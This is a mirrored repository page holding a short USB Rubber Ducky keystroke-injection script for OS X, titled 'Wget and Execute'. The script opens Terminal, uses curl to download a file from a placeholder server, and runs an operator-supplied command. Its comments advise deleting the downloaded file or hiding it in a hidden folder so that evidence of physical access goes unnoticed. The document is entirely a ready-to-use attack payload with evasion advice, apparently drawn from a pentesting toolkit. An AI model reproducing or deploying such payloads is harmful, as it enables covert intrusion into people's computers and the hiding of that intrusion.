mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 19:16:08 -04:00
24 lines
830 B
Plaintext
24 lines
830 B
Plaintext
REM Title: OS X Wget and Execute
|
|
REM Author: Jesse Wallace (c0deous)
|
|
REM Simple script that downloads any file and runs it.
|
|
REM Requires duckencoder 2.6.3 which can be downloaded at http://goo.gl/QkTXNp
|
|
REM Note: you must put in your own specific code to execute
|
|
|
|
DELAY 1000
|
|
COMMAND SPACE
|
|
DELAY 800
|
|
STRING Terminal
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING curl http://SERVER/path/to/file > file
|
|
ENTER
|
|
DELAY 1000
|
|
STRING INSERT COMMAND TO EXECUTE HERE
|
|
ENTER
|
|
REM You can chage the above line to the command used to open your program.
|
|
|
|
REM Examples: python somescript.py , ./somescript.sh
|
|
|
|
REM Note: This script doesn't delete the downloaded file so it may leave evidence of physical access. Delete it as quickly as possible after this runs.
|
|
REM Or alternatively you could hide it somewhere in a hidden folder where it won't be easily found. |